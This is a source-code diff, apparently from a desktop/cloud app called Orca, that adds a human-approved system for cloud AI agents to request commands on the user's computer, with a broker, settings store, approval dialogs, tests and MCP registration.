const workspaces: LocalCommandWorkspaceRow[] = []
for (const workspace of deps.listWorkspaces()) {
const setting = deps.settings.workspace(workspace.sandboxId)
const policy = await deps.bridge.policyOf(workspace.sandboxId, false)
workspaces.push({
sandboxId: workspace.sandboxId,
label: deps.bridge.labelOf(workspace.sandboxId),
enabled: setting?.enabled === true,
sharedAllowed: setting?.sharedAllowed === true,
shared: policy ? policy.shared : null,
isOwner: policy ? policy.isOwner : null,
connected: deps.bridge.isConnected(workspace.sandboxId)
})
}
return {
available: deps.supported,
workspaces,
rules: deps.settings.rules().map((rule) => ({
...rule,
workspaceLabel: deps.bridge.labelOf(rule.sandboxId)
}))
}
}
}
}
export type LocalCommandSettingsController = ReturnType<typeof createLocalCommandSettingsController>
@@ -0,0 +1,135 @@
import { randomUUID } from 'node:crypto'
import { readFileSync } from 'node:fs'
import { join } from 'node:path'
import { z } from 'zod'
import { writeFileAtomically } from '../filesystem/atomic-file-publication'
import {
LOCAL_COMMAND_MAX_COMMAND_CHARS,
LOCAL_COMMAND_MAX_CWD_CHARS
} from '../../shared/local-commands/local-command-contract'
const MAX_RULES = 200
const SandboxId = z.string().regex(/^sbx_[0-9a-f]{24}$/)
const WorkspaceSettingSchema = z.object({
enabled: z.boolean(),
sharedAllowed: z.boolean(),
updatedAt: z.number()
})
const RuleSchema = z.object({
id: z.string().min(1).max(64),
sandboxId: SandboxId,
command: z.string().min(1).max(LOCAL_COMMAND_MAX_COMMAND_CHARS),
cwd: z
.string()
.min(1)
.max(LOCAL_COMMAND_MAX_CWD_CHARS * 4),
createdAt: z.number()
})
const FileSchema = z.object({
version: z.literal(1),
workspaces: z.record(SandboxId, WorkspaceSettingSchema),
rules: z.array(RuleSchema).max(MAX_RULES)
})
export type LocalCommandWorkspaceSetting = z.infer<typeof WorkspaceSettingSchema>
export type LocalCommandRule = z.infer<typeof RuleSchema>
type LocalCommandSettingsFile = z.infer<typeof FileSchema>
const EMPTY: LocalCommandSettingsFile = { version: 1, workspaces: {}, rules: [] }
export function isLocalCommandSandboxId(value: unknown): value is string {
return SandboxId.safeParse(value).success
}
/**
* Per-workspace switches and "Always allow" rules, on this computer only (never synced: they are
* this computer's consent). Off when absent; an unreadable file reads as everything off.
*/
export class LocalCommandSettingsStore {
private cached: LocalCommandSettingsFile | null = null
private readonly path: string
constructor(userDataPath: string) {
this.path = join(userDataPath, 'local-commands.json')
}
workspace(sandboxId: string): LocalCommandWorkspaceSetting | null {
return this.read().workspaces[sandboxId] ?? null
}
enabledSandboxIds(): string[] {
return Object.entries(this.read().workspaces)
.filter(([, setting]) => setting.enabled)
.map(([sandboxId]) => sandboxId)
}
setEnabled(sandboxId: string, enabled: boolean, sharedAllowed: boolean, now: number): void {
const next = this.read()
if (enabled) {
next.workspaces[sandboxId] = { enabled, sharedAllowed, updatedAt: now }
} else {
// Turning it off also forgets this workspace's "Always allow" rules: the next time it is on,
// every command is asked about again.
delete next.workspaces[sandboxId]
next.rules = next.rules.filter((rule) => rule.sandboxId !== sandboxId)
}
this.write(next)
}
rules(): LocalCommandRule[] {
return [...this.read().rules]
}
/** Exact match only: same workspace, same characters, same resolved folder. */
findRule(sandboxId: string, command: string, cwd: string): LocalCommandRule | null {
return (
this.read().rules.find(
(rule) => rule.sandboxId === sandboxId && rule.command === command && rule.cwd === cwd
) ?? null
)
}
addRule(sandboxId: string, command: string, cwd: string, now: number): LocalCommandRule {
const existing = this.findRule(sandboxId, command, cwd)
if (existing) {
return existing
}
const next = this.read()
const rule: LocalCommandRule = { id: randomUUID(), sandboxId, command, cwd, createdAt: now }
// Oldest first out at the cap; a forgotten rule only means one more prompt.
next.rules = [...next.rules, rule].slice(-MAX_RULES)
this.write(next)
return rule
}
removeRule(id: string): boolean {
const next = this.read()
const before = next.rules.length
next.rules = next.rules.filter((rule) => rule.id !== id)
if (next.rules.length === before) {
return false
}
this.write(next)
return true
}
private read(): LocalCommandSettingsFile {
if (!this.cached) {
try {
const parsed = FileSchema.safeParse(JSON.parse(readFileSync(this.path, 'utf8')))
this.cached = parsed.success ? parsed.data : structuredClone(EMPTY)
} catch {
this.cached = structuredClone(EMPTY)
}
}
return structuredClone(this.cached)
}
private write(next: LocalCommandSettingsFile): void {
writeFileAtomically(this.path, `${JSON.stringify(next, null, 2)}\n`, { mode: 0o600 })
this.cached = next
}
}
+6 -2
View File
@@ -20,10 +20,13 @@ describe('orcad post-ready work', () => {
},
startSpeechWarmup: async () => {
order.push('speech')
},
startCloudAgentTools: async () => {
order.push('cloud-tools')
}
})
expect(order).toEqual(['methods', 'terminals', 'rules', 'speech'])
expect(order).toEqual(['methods', 'terminals', 'rules', 'speech', 'cloud-tools'])
})
it('never rejects, and one failure does not stop the rest', async () => {
@@ -35,7 +38,8 @@ describe('orcad post-ready work', () => {
warmRpcMethods: () => Promise.reject(new Error('import failed')),
warmTerminalList: () => Promise.reject(new Error('daemon gone')),
startAgentStateRules: () => Promise.reject(new Error('no rules')),
startSpeechWarmup
startSpeechWarmup,
startCloudAgentTools: async () => {}
})
).resolves.toBeUndefined()
+15
View File
@@ -12,6 +12,8 @@ type OrcadPostReadyDeps = {
startAgentStateRules: () => Promise<void>
/** Paired phones dictate through this host; keep its model loaded the same way the desktop does. */
startSpeechWarmup: () => Promise<void>
/** Orca Cloud: gives agent CLIs run_local_command; the person's desktop decides every run. */
startCloudAgentTools: () => Promise<void>
}
/** RPC handlers, then terminals: what the reconnecting desktop asks for first. Never rejects. */
@@ -30,6 +32,11 @@ export async function startOrcadPostReadyWork(deps: OrcadPostReadyDeps): Promise
}),
deps.startSpeechWarmup().catch((error: unknown) => {
console.warn(`[speech] Could not start the speech model warm-up: ${errorMessage(error)}`)
}),
deps.startCloudAgentTools().catch((error: unknown) => {
console.warn(
`[orcad] Could not register the local-command MCP server: ${errorMessage(error)}`
)
})
])
}
@@ -55,6 +62,14 @@ export function orcadPostReadyDeps(
startSpeechWarmup: async () => {
const { startSpeechModelWarmup } = await import('../speech/speech-model-warmup')
startSpeechModelWarmup(store)
},
startCloudAgentTools: async () => {
const { isCloudWorkspaceOrcad } = await import('../runtime/secrets/session-env-names')
if (isCloudWorkspaceOrcad()) {
const { registerLocalCommandMcpServer } =
await import('../runtime/local-commands/local-command-mcp-registration')
await registerLocalCommandMcpServer()
}
}
}
}
@@ -0,0 +1,121 @@
import { describe, expect, it } from 'vitest'
import { LocalCommandBroker } from './local-command-broker'
function setup() {
let clock = 1_000_000
let seq = 0
const timers: { at: number; run: () => void; cancelled: boolean }[] = []
const broker = new LocalCommandBroker(
() => clock,
() => `lc_test${String(++seq).padStart(12, '0')}`,
(run, ms) => {
const timer = { at: clock + ms, run, cancelled: false }
timers.push(timer)
return { cancel: () => (timer.cancelled = true) }
}
)
const advance = (ms: number): void => {
clock += ms
for (const timer of timers.splice(0)) {
if (timer.cancelled) {
continue
}
if (timer.at <= clock) {
timer.run()
} else {
timers.push(timer)
}
}
}
return { broker, advance }
}
const input = { command: 'xcrun simctl list', cwd: null, reason: null, agent: null }
describe('LocalCommandBroker', () => {
it('refuses a request when no desktop is attached', () => {
const { broker } = setup()
expect(() => broker.request(input)).toThrow('local_commands_no_desktop')
})
it('lets only the desktop that started a command report its result', () => {
const { broker } = setup()
broker.attach('a1', 'device-a', () => {})
broker.attach('b1', 'device-b', () => {})
const { requestId } = broker.request(input)
expect(broker.settle('device-a', { requestId, outcome: 'started' }).accepted).toBe(true)
expect(broker.settle('device-b', { requestId, outcome: 'started' }).accepted).toBe(false)
const result = {
exitCode: 0,
signal: null,
timedOut: false,
durationMs: 5,
stdout: 'ok',
stderr: '',
truncated: false
}
expect(broker.settle('device-b', { requestId, outcome: 'finished', result }).accepted).toBe(
false
)
expect(broker.settle('device-a', { requestId, outcome: 'finished', result }).accepted).toBe(
true
)
expect(broker.status(requestId)).toMatchObject({ status: 'finished', result: { stdout: 'ok' } })
})
it('rejects reports from a device that is not attached', () => {
const { broker } = setup()
broker.attach('a1', 'device-a', () => {})
const { requestId } = broker.request(input)
expect(() => broker.settle('device-x', { requestId, outcome: 'started' })).toThrow(
'local_command_forbidden'
)
})
it("keeps waiting for a person when another computer can't take the request", () => {
const { broker } = setup()
broker.attach('a1', 'device-a', () => {})
broker.attach('b1', 'device-b', () => {})
const { requestId } = broker.request(input)
broker.settle('device-b', { requestId, outcome: 'declined', reason: 'not_allowed' })
expect(broker.status(requestId).status).toBe('pending')
broker.settle('device-a', { requestId, outcome: 'declined', reason: 'approval_timed_out' })
expect(broker.status(requestId)).toMatchObject({
status: 'declined',
declineReason: 'not_allowed'
})
})
it('settles at once when a person denies', () => {
const { broker } = setup()
broker.attach('a1', 'device-a', () => {})
broker.attach('b1', 'device-b', () => {})
const { requestId } = broker.request(input)
broker.settle('device-a', { requestId, outcome: 'declined', reason: 'denied' })
expect(broker.status(requestId)).toMatchObject({ status: 'declined', declineReason: 'denied' })
})
it('expires an unanswered request and loses a started one that never reports', () => {
const { broker, advance } = setup()
broker.attach('a1', 'device-a', () => {})
const first = broker.request(input).requestId
advance(5 * 60_000)
expect(broker.status(first).status).toBe('expired')
const second = broker.request({ ...input, timeoutSec: 10 }).requestId
broker.settle('device-a', { requestId: second, outcome: 'started' })
advance(10_000 + 30_000)
expect(broker.status(second).status).toBe('lost')
})
it('replays a waiting request to a desktop that attaches later', () => {
const { broker } = setup()
broker.attach('a1', 'device-a', () => {})
const { requestId } = broker.request(input)
const seen: unknown[] = []
broker.attach('a2', 'device-a', (event) => seen.push(event))
expect(seen).toEqual([
{ type: 'ready' },
expect.objectContaining({ type: 'requested', requestId, command: 'xcrun simctl list' })
])
})
})
@@ -0,0 +1,312 @@
import { randomBytes } from 'node:crypto'
import {
LOCAL_COMMAND_APPROVAL_WINDOW_MS,
LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC,
LOCAL_COMMAND_ERRORS,
LOCAL_COMMAND_MAX_PENDING,
LOCAL_COMMAND_MAX_PER_HOUR,
LOCAL_COMMAND_RESULT_GRACE_MS,
type LocalCommandDeclineReason,
type LocalCommandRequestedEvent,
type LocalCommandRequestResult,
type LocalCommandRunResult,
type LocalCommandSettleParams,
type LocalCommandSettleResult,
type LocalCommandStatus,
type LocalCommandStatusResult,
type LocalCommandStreamEvent
} from '../../../shared/local-commands/local-command-contract'
const HOUR_MS = 60 * 60_000
/** Settled records stay readable this long so the agent's poll sees the outcome. */
const RECORD_RETENTION_MS = HOUR_MS
export class LocalCommandError extends Error {
constructor(readonly code: string) {
super(code)
this.name = 'LocalCommandError'
}
}
type LocalCommandRecord = {
requestId: string
command: string
cwd: string | null
timeoutSec: number
reason: string | null
agent: string | null
requestedAt: number
expiresAt: number
status: LocalCommandStatus
/** The desktop that started it; only it may report the result. */
runningDeviceId: string | null
runDeadline: number
/** Desktops that declined without a person's answer; settles once every attached one has. */
passiveDeclines: Map<string, LocalCommandDeclineReason>
declineReason?: LocalCommandDeclineReason
result?: LocalCommandRunResult
message?: string
settledAt: number | null
}
export type LocalCommandRequestInput = {
command: string
cwd: string | null
timeoutSec?: number
reason: string | null
agent: string | null
}
type Attachment = {
deviceId: string
emit: (event: LocalCommandStreamEvent) => void
}
export type LocalCommandTimer = (run: () => void, ms: number) => { cancel: () => void }
const realTimer: LocalCommandTimer = (run, ms) => {
const handle = setTimeout(run, ms)
// A waiting request must never keep orcad alive.
handle.unref?.()
return { cancel: () => clearTimeout(handle) }
}
/**
* In-memory relay between an agent's request and the attached desktops (one orcad = one cloud
* workspace). It never runs anything: it only records what each desktop reports, and only the
* desktop that started a command may report its result.
*/
export class LocalCommandBroker {
private readonly records = new Map<string, LocalCommandRecord>()
private readonly attachments = new Map<string, Attachment>()
private readonly timers = new Map<string, { cancel: () => void }>()
constructor(
private readonly now: () => number = Date.now,
private readonly newId: () => string = () => `lc_${randomBytes(16).toString('base64url')}`,
private readonly timer: LocalCommandTimer = realTimer
) {}
/** Returns detach. Pending requests are replayed so a desktop that reconnects can still answer. */
attach(attachmentId: string, deviceId: string, emit: Attachment['emit']): () => void {
this.attachments.set(attachmentId, { deviceId, emit })
safeEmit(emit, { type: 'ready' })
const now = this.now()
for (const record of this.records.values()) {
if (this.statusOf(record, now) === 'pending' && !record.passiveDeclines.has(deviceId)) {
safeEmit(emit, toRequestedEvent(record, now))
}
}
return () => {
this.attachments.delete(attachmentId)
}
}
hasAttachedDesktop(): boolean {
return this.attachments.size > 0
}
request(input: LocalCommandRequestInput): LocalCommandRequestResult {
if (this.attachments.size === 0) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.noDesktop)
}
const now = this.now()
this.prune(now)
const live = [...this.records.values()].filter((r) => {
const status = this.statusOf(r, now)
return status === 'pending' || status === 'running'
})
if (live.length >= LOCAL_COMMAND_MAX_PENDING) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.tooManyPending)
}
const lastHour = [...this.records.values()].filter((r) => now - r.requestedAt < HOUR_MS)
if (lastHour.length >= LOCAL_COMMAND_MAX_PER_HOUR) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.rateLimited)
}
const record: LocalCommandRecord = {
requestId: this.newId(),
command: input.command,
cwd: input.cwd,
timeoutSec: input.timeoutSec ?? LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC,
reason: input.reason,
agent: input.agent,
requestedAt: now,
expiresAt: now + LOCAL_COMMAND_APPROVAL_WINDOW_MS,
status: 'pending',
runningDeviceId: null,
runDeadline: 0,
passiveDeclines: new Map(),
settledAt: null
}
this.records.set(record.requestId, record)
this.schedule(record, record.expiresAt)
this.broadcast(toRequestedEvent(record, now))
return { requestId: record.requestId, status: 'pending' }
}
status(requestId: string): LocalCommandStatusResult {
const record = this.require(requestId)
const status = this.statusOf(record, this.now())
return {
requestId,
status,
...(record.declineReason ? { declineReason: record.declineReason } : {}),
...(record.result ? { result: record.result } : {}),
...(record.message ? { message: record.message } : {})
}
}
/** A desktop's report. Only an attached desktop may report, and only the starter may finish. */
settle(deviceId: string, params: LocalCommandSettleParams): LocalCommandSettleResult {
if (![...this.attachments.values()].some((a) => a.deviceId === deviceId)) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.forbidden)
}
const record = this.require(params.requestId)
const now = this.now()
const status = this.statusOf(record, now)
switch (params.outcome) {
case 'started': {
if (status !== 'pending') {
return { accepted: false, status }
}
record.status = 'running'
record.runningDeviceId = deviceId
record.runDeadline = now + record.timeoutSec * 1000 + LOCAL_COMMAND_RESULT_GRACE_MS
this.schedule(record, record.runDeadline)
// Other desktops drop their prompt; the request is no longer waiting for them.
this.broadcast({ type: 'settled', requestId: record.requestId, status: 'running' })
return { accepted: true, status: 'running' }
}
case 'finished':
case 'failed': {
if (status !== 'running' || record.runningDeviceId !== deviceId) {
return { accepted: false, status }
}
if (params.outcome === 'finished') {
record.result = params.result
} else {
record.message = params.message
}
this.finish(record, params.outcome, now)
return { accepted: true, status: params.outcome }
}
case 'declined': {
if (status !== 'pending') {
return { accepted: false, status }
}
if (params.reason === 'denied') {
record.declineReason = 'denied'
this.finish(record, 'declined', now)
return { accepted: true, status: 'declined' }
}
// A computer that can't take it (or whose person didn't answer) must not cancel another
// computer's prompt: settle only once every attached desktop has passed.
record.passiveDeclines.set(deviceId, params.reason)
const attachedDevices = new Set([...this.attachments.values()].map((a) => a.deviceId))
if ([...attachedDevices].every((device) => record.passiveDeclines.has(device))) {
record.declineReason = [...record.passiveDeclines.values()].includes('not_allowed')
? 'not_allowed'
: 'approval_timed_out'
this.finish(record, 'declined', now)
return { accepted: true, status: 'declined' }
}
return { accepted: true, status: 'pending' }
}
}
}
private finish(
record: LocalCommandRecord,
status: Exclude<LocalCommandStatus, 'pending' | 'running'>,
now: number
): void {
record.status = status
record.settledAt = now
this.timers.get(record.requestId)?.cancel()
this.timers.delete(record.requestId)
this.broadcast({ type: 'settled', requestId: record.requestId, status })
}
private schedule(record: LocalCommandRecord, at: number): void {
this.timers.get(record.requestId)?.cancel()
const handle = this.timer(
() => {
this.timers.delete(record.requestId)
const now = this.now()
const status = this.statusOf(record, now)
if (status === 'expired' || status === 'lost') {
this.finish(record, status, now)
} else if (status === 'pending' || status === 'running') {
this.schedule(record, status === 'pending' ? record.expiresAt : record.runDeadline)
}
},
Math.max(0, at - this.now())
)
this.timers.set(record.requestId, handle)
}
private statusOf(record: LocalCommandRecord, now: number): LocalCommandStatus {
if (record.status === 'pending' && now >= record.expiresAt) {
return 'expired'
}
if (record.status === 'running' && now >= record.runDeadline) {
return 'lost'
}
return record.status
}
private require(requestId: string): LocalCommandRecord {
this.prune(this.now())
const record = this.records.get(requestId)
if (!record) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.notFound)
}
return record
}
private prune(now: number): void {
for (const [id, record] of this.records) {
const status = this.statusOf(record, now)
const endedAt =
record.settledAt ??
(status === 'expired' ? record.expiresAt : status === 'lost' ? record.runDeadline : null)
if (endedAt !== null && now - endedAt >= RECORD_RETENTION_MS) {
this.records.delete(id)
}
}
}
private broadcast(event: LocalCommandStreamEvent): void {
for (const attachment of this.attachments.values()) {
safeEmit(attachment.emit, event)
}
}
}
function safeEmit(emit: Attachment['emit'], event: LocalCommandStreamEvent): void {
try {
emit(event)
} catch {
// One broken stream must not keep the other desktops from seeing the request.
}
}
function toRequestedEvent(record: LocalCommandRecord, now: number): LocalCommandRequestedEvent {
return {
type: 'requested',
requestId: record.requestId,
command: record.command,
cwd: record.cwd,
timeoutSec: record.timeoutSec,
reason: record.reason,
agent: record.agent,
expiresInMs: Math.max(0, record.expiresAt - now)
}
}
let sharedBroker: LocalCommandBroker | null = null
export function getLocalCommandBroker(): LocalCommandBroker {
sharedBroker ??= new LocalCommandBroker()
return sharedBroker
}
@@ -0,0 +1,47 @@
import { existsSync } from 'node:fs'
import {
LOCAL_COMMAND_APPROVAL_WINDOW_MS,
LOCAL_COMMAND_MAX_TIMEOUT_SEC,
LOCAL_COMMAND_MCP_SERVER_NAME,
LOCAL_COMMAND_RESULT_GRACE_MS
} from '../../../shared/local-commands/local-command-contract'
import { getAppEnvironment } from '../../../shared/app-environment'
import {
defaultHostMcpSyncPaths,
syncHostMcpServers,
type HostMcpSyncDeps
} from '../../agent-mcp-sync/host/host-mcp-sync'
/** Its own ledger and Codex block, so a desktop's MCP sync never removes it and it never removes theirs. */
const SYNCER = 'orca-local-commands'
/** The golden image's CLI; agent shells may not have /opt/orca/bin on PATH. */
const VM_ORCA_CLI = '/opt/orca/bin/orca'
// Codex stops waiting on a tool after 60 s by default; a request waits minutes for the person.
const TOOL_TIMEOUT_SEC = Math.ceil(
(LOCAL_COMMAND_APPROVAL_WINDOW_MS + 2 * LOCAL_COMMAND_RESULT_GRACE_MS) / 1000 +
LOCAL_COMMAND_MAX_TIMEOUT_SEC
)
/** Gives every agent CLI on this cloud workspace the run_local_command tool. Logs counts only. */
export async function registerLocalCommandMcpServer(
deps: Partial<HostMcpSyncDeps> = {}
): Promise<void> {
const server = {
command: existsSync(VM_ORCA_CLI) ? VM_ORCA_CLI : 'orca',
args: ['local-command', 'mcp']
}
await syncHostMcpServers(
{
claude: { [LOCAL_COMMAND_MCP_SERVER_NAME]: { type: 'stdio', ...server } },
codex: {
[LOCAL_COMMAND_MCP_SERVER_NAME]: { ...server, tool_timeout_sec: TOOL_TIMEOUT_SEC }
},
syncer: SYNCER
},
{
paths: deps.paths ?? defaultHostMcpSyncPaths(getAppEnvironment().getPath('userData')),
...(deps.commandExists ? { commandExists: deps.commandExists } : {}),
resolves: async () => true
}
)
}
@@ -0,0 +1,139 @@
import {
LOCAL_COMMAND_ERRORS,
LOCAL_COMMANDS_ATTACH_METHOD,
LOCAL_COMMANDS_REQUEST_METHOD,
LOCAL_COMMANDS_SETTLE_METHOD,
LOCAL_COMMANDS_STATUS_METHOD,
LocalCommandAttachParamsSchema,
LocalCommandIdParamsSchema,
LocalCommandRequestParamsSchema,
LocalCommandSettleParamsSchema,
type LocalCommandRequestResult,
type LocalCommandSettleResult,
type LocalCommandStatusResult
} from '../../../../../shared/local-commands/local-command-contract'
import {
getLocalCommandBroker,
LocalCommandError,
type LocalCommandBroker
} from '../../../local-commands/local-command-broker'
import { isCloudWorkspaceOrcad } from '../../../secrets/session-env-names'
import { defineMethod, defineStreamingMethod, type RpcContext } from '../../core'
import { isAgentRpcCaller } from '../../rpc-caller-identity'
import { resolveSecretRequestCaller } from '../secrets/secret-requests'
import { verifiedCallerTerminalHandle } from '../orchestration/turn-sender'
export type LocalCommandMethodDeps = {
broker: () => LocalCommandBroker
/** Only a cloud workspace's orcad relays; a desktop's own runtime refuses. */
enabled: () => boolean
callerTerminal: (ctx: RpcContext) => string | null
}
const defaultDeps: LocalCommandMethodDeps = {
broker: getLocalCommandBroker,
enabled: () => isCloudWorkspaceOrcad(),
callerTerminal: verifiedCallerTerminalHandle
}
/** A paired desktop, proven by its socket: never the agent's CLI, never a phone. */
function requireDesktopDevice(ctx: RpcContext): { deviceId: string; connectionId: string } {
if (
ctx.clientKind !== 'runtime' ||
ctx.caller?.kind !== 'paired-device' ||
!ctx.pairedDeviceId ||
!ctx.connectionId
) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.forbidden)
}
return { deviceId: ctx.pairedDeviceId, connectionId: ctx.connectionId }
}
let attachSeq = 0
export function createLocalCommandMethods(deps: LocalCommandMethodDeps = defaultDeps) {
const broker = (): LocalCommandBroker => {
if (!deps.enabled()) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.unavailable)
}
return deps.broker()
}
return [
defineMethod({
name: LOCAL_COMMANDS_REQUEST_METHOD,
permission: 'workspace',
params: LocalCommandRequestParamsSchema,
handler: async (params, ctx): Promise<LocalCommandRequestResult> => {
// Agents ask through the CLI on this VM; a person's device has its own computer to use.
if (!isAgentRpcCaller(ctx.caller)) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.forbidden)
}
const relay = broker()
const caller = await resolveSecretRequestCaller(
ctx.runtime,
deps.callerTerminal(ctx),
params.worktreeId
)
return relay.request({
command: params.command,
cwd: params.cwd ?? null,
timeoutSec: params.timeoutSec,
reason: params.reason || null,
agent: caller.agent
})
}
}),
defineMethod({
name: LOCAL_COMMANDS_STATUS_METHOD,
permission: 'workspace',
params: LocalCommandIdParamsSchema,
handler: async (params, ctx): Promise<LocalCommandStatusResult> => {
if (!isAgentRpcCaller(ctx.caller)) {
throw new LocalCommandError(LOCAL_COMMAND_ERRORS.forbidden)
}
return broker().status(params.requestId)
}
}),
defineMethod({
name: LOCAL_COMMANDS_SETTLE_METHOD,
permission: 'workspace',
params: LocalCommandSettleParamsSchema,
handler: async (params, ctx): Promise<LocalCommandSettleResult> => {
const { deviceId } = requireDesktopDevice(ctx)
return broker().settle(deviceId, params)
}
}),
defineStreamingMethod({
name: LOCAL_COMMANDS_ATTACH_METHOD,
permission: 'workspace',
params: LocalCommandAttachParamsSchema,
handler: async (_params, ctx, emit) => {
const { deviceId, connectionId } = requireDesktopDevice(ctx)
const relay = broker()
await new Promise<void>((resolve) => {
const subscriptionId = `local-commands-${connectionId}-${++attachSeq}`
let detach = (): void => {}
let done = false
const cleanup = (): void => {
if (done) {
return
}
done = true
detach()
emit({ type: 'end' })
resolve()
}
ctx.runtime.registerSubscriptionCleanup(subscriptionId, cleanup, connectionId)
ctx.signal?.addEventListener('abort', cleanup, { once: true })
if (ctx.signal?.aborted) {
cleanup()
return
}
detach = relay.attach(subscriptionId, deviceId, emit)
})
}
})
]
}
export const LOCAL_COMMAND_METHODS = createLocalCommandMethods()
@@ -48,6 +48,7 @@ import { RECIPE_VM_WAKE_METHODS } from './host-management/recipe-vm-wake'
import { ORCA_CLOUD_DEVICE_ENROLLMENT_METHODS } from './orca-cloud/orca-cloud-device-enrollment'
import { CLOUD_SSH_METHODS } from './cloud-ssh/cloud-ssh-methods'
import { SECRET_REQUEST_METHODS } from './secrets/secret-requests'
import { LOCAL_COMMAND_METHODS } from './local-commands/local-command-methods'
import { ENVIRONMENT_DOCTOR_METHODS } from './host-management/environment-doctor'
import { CLOUD_ENVIRONMENT_METHODS_RPC } from './cloud-environments/cloud-environments'
import { SPEECH_METHODS } from './speech/speech'
@@ -152,6 +153,7 @@ export const ALL_RPC_METHODS = [
...RECIPE_VM_WAKE_METHODS,
...ORCA_CLOUD_DEVICE_ENROLLMENT_METHODS,
...SECRET_REQUEST_METHODS,
...LOCAL_COMMAND_METHODS,
...CLOUD_SSH_METHODS,
...ENVIRONMENT_DOCTOR_METHODS,
...CLOUD_ENVIRONMENT_METHODS_RPC,
+3
View File
@@ -1,6 +1,7 @@
import type { AgentApiKeysApi } from './api/agent-api-keys-bridge'
import type { CloudApiBridge } from './api/cloud-api-bridge'
import type { CloudSecretsApi } from './api/cloud-secrets-bridge'
import type { LocalCommandsApi } from './api/local-commands-bridge'
import type { OrcaCloudAgentsApi } from './api/orca-cloud-agents-bridge'
import type { SshAgentSignInApi } from './api/ssh-agent-sign-in-bridge'
import type {
@@ -191,6 +192,8 @@ export type PreloadApi = {
cloudApi?: CloudApiBridge
/** Desktop only: Orca Cloud secrets (personal, team, repo) injected into cloud workspaces. */
cloudSecrets?: CloudSecretsApi
/** Desktop only: commands agents in cloud workspaces ask to run on this computer. */
localCommands?: LocalCommandsApi
/** Orca Cloud agent accounts (S0): desktop only, states and codes only. */
orcaCloudAgents?: OrcaCloudAgentsApi
sshAgentSignIn?: SshAgentSignInApi
+43
View File
@@ -0,0 +1,43 @@
import { ipcRenderer } from 'electron'
import {
LOCAL_COMMANDS_PROMPTS_CHANNEL,
LOCAL_COMMANDS_STATE_CHANNEL,
type LocalCommandAuditEntry,
type LocalCommandDecision,
type LocalCommandPrompt,
type LocalCommandSetEnabledRequest,
type LocalCommandsState
} from '../../shared/local-commands/local-command-desktop-types'
/** Desktop only: commands that agents in cloud workspaces ask to run on this computer. */
export type LocalCommandsApi = {
getState: () => Promise<LocalCommandsState>
setEnabled: (request: LocalCommandSetEnabledRequest) => Promise<{ ok: boolean; error?: string }>
removeRule: (id: string) => Promise<boolean>
listAudit: (limit?: number) => Promise<LocalCommandAuditEntry[]>
getPrompts: () => Promise<LocalCommandPrompt[]>
/** Answers by id only: main runs what it holds, never anything the window sends. */
decide: (id: string, decision: LocalCommandDecision) => Promise<{ ok: boolean; error?: string }>
onPrompts: (callback: (prompts: LocalCommandPrompt[]) => void) => () => void
onStateChanged: (callback: () => void) => () => void
}
export const localCommandsApi: LocalCommandsApi = {
getState: () => ipcRenderer.invoke('localCommands:getState'),
setEnabled: (request) => ipcRenderer.invoke('localCommands:setEnabled', request),
removeRule: (id) => ipcRenderer.invoke('localCommands:removeRule', id),
listAudit: (limit) => ipcRenderer.invoke('localCommands:listAudit', limit),
getPrompts: () => ipcRenderer.invoke('localCommands:getPrompts'),
decide: (id, decision) => ipcRenderer.invoke('localCommands:decide', { id, decision }),
onPrompts: (callback) => {
const listener = (_event: Electron.IpcRendererEvent, prompts: LocalCommandPrompt[]): void =>
callback(prompts)
ipcRenderer.on(LOCAL_COMMANDS_PROMPTS_CHANNEL, listener)
return () => ipcRenderer.removeListener(LOCAL_COMMANDS_PROMPTS_CHANNEL, listener)
},
onStateChanged: (callback) => {
const listener = (): void => callback()
ipcRenderer.on(LOCAL_COMMANDS_STATE_CHANNEL, listener)
return () => ipcRenderer.removeListener(LOCAL_COMMANDS_STATE_CHANNEL, listener)
}
}
+2
View File
@@ -95,6 +95,7 @@ import { runtimeDownloadsApi } from './api/runtime-downloads-bridge'
import { agentApiKeysApi } from './api/agent-api-keys-bridge'
import { cloudApiBridge } from './api/cloud-api-bridge'
import { cloudSecretsApi } from './api/cloud-secrets-bridge'
import { localCommandsApi } from './api/local-commands-bridge'
import { orcaCloudAgentsApi } from './api/orca-cloud-agents-bridge'
import { sshAgentSignInApi } from './api/ssh-agent-sign-in-bridge'
import { legacyRelayBridgeApi } from './api/legacy-relay-bridge-api'
@@ -212,6 +213,7 @@ const api = {
agentApiKeys: agentApiKeysApi,
cloudApi: cloudApiBridge,
cloudSecrets: cloudSecretsApi,
localCommands: localCommandsApi,
orcaCloudAgents: orcaCloudAgentsApi,
sshAgentSignIn: sshAgentSignInApi,
legacyRelayBridge: legacyRelayBridgeApi,
+2
View File
@@ -10,6 +10,7 @@ import { CloudMoveToComputerDialogMount } from './components/orca-cloud/CloudMov
import { CloudSecretsAskDialogHost } from './components/cloud-secrets-ask/CloudSecretsMissingNotice'
import { AgentHostPanel } from './components/agent-host-panel/AgentHostPanel'
import { SecretRequestUnseenNotifier } from './components/agent-pane/SecretRequestUnseenNotifier'
import { LocalCommandApprovalDialogHost } from './components/local-commands/LocalCommandApprovalDialog'
import { TeamDialogHost } from './components/billing/team/TeamDialogHost'
import { BrowserPagePrompts } from './components/browser-pane/browser-page-prompts'
import { LinkRoutingPreferenceDialogProvider } from './components/link-routing-preference-dialog'
@@ -128,6 +129,7 @@ function App(): React.JSX.Element {
<CloudSecretsAskDialogHost />
<AgentHostPanel />
<SecretRequestUnseenNotifier />
<LocalCommandApprovalDialogHost />
<TeamDialogHost />
</LinkRoutingPreferenceDialogProvider>
</ConfirmationDialogProvider>
@@ -0,0 +1,75 @@
import { Dialog } from '@/components/ui/dialog'
import { defineFixture } from '../../component-fixtures/component-fixture'
import { LocalCommandApprovalDialogView } from './LocalCommandApprovalDialog'
const base = {
id: 'lc_fixture0000000000001',
sandboxId: 'sbx_0123456789abcdef01234567',
workspaceLabel: 'ios-login-fix',
shared: false,
command: 'xcrun simctl list devices booted',
cwd: '/Users/neil',
timeoutSec: 120,
reason: 'Find the booted simulator so I can install the build there.',
agent: 'Claude Code',
hasNonAscii: false,
expiresAt: 0
}
export const request = defineFixture({
width: 720,
render: () => (
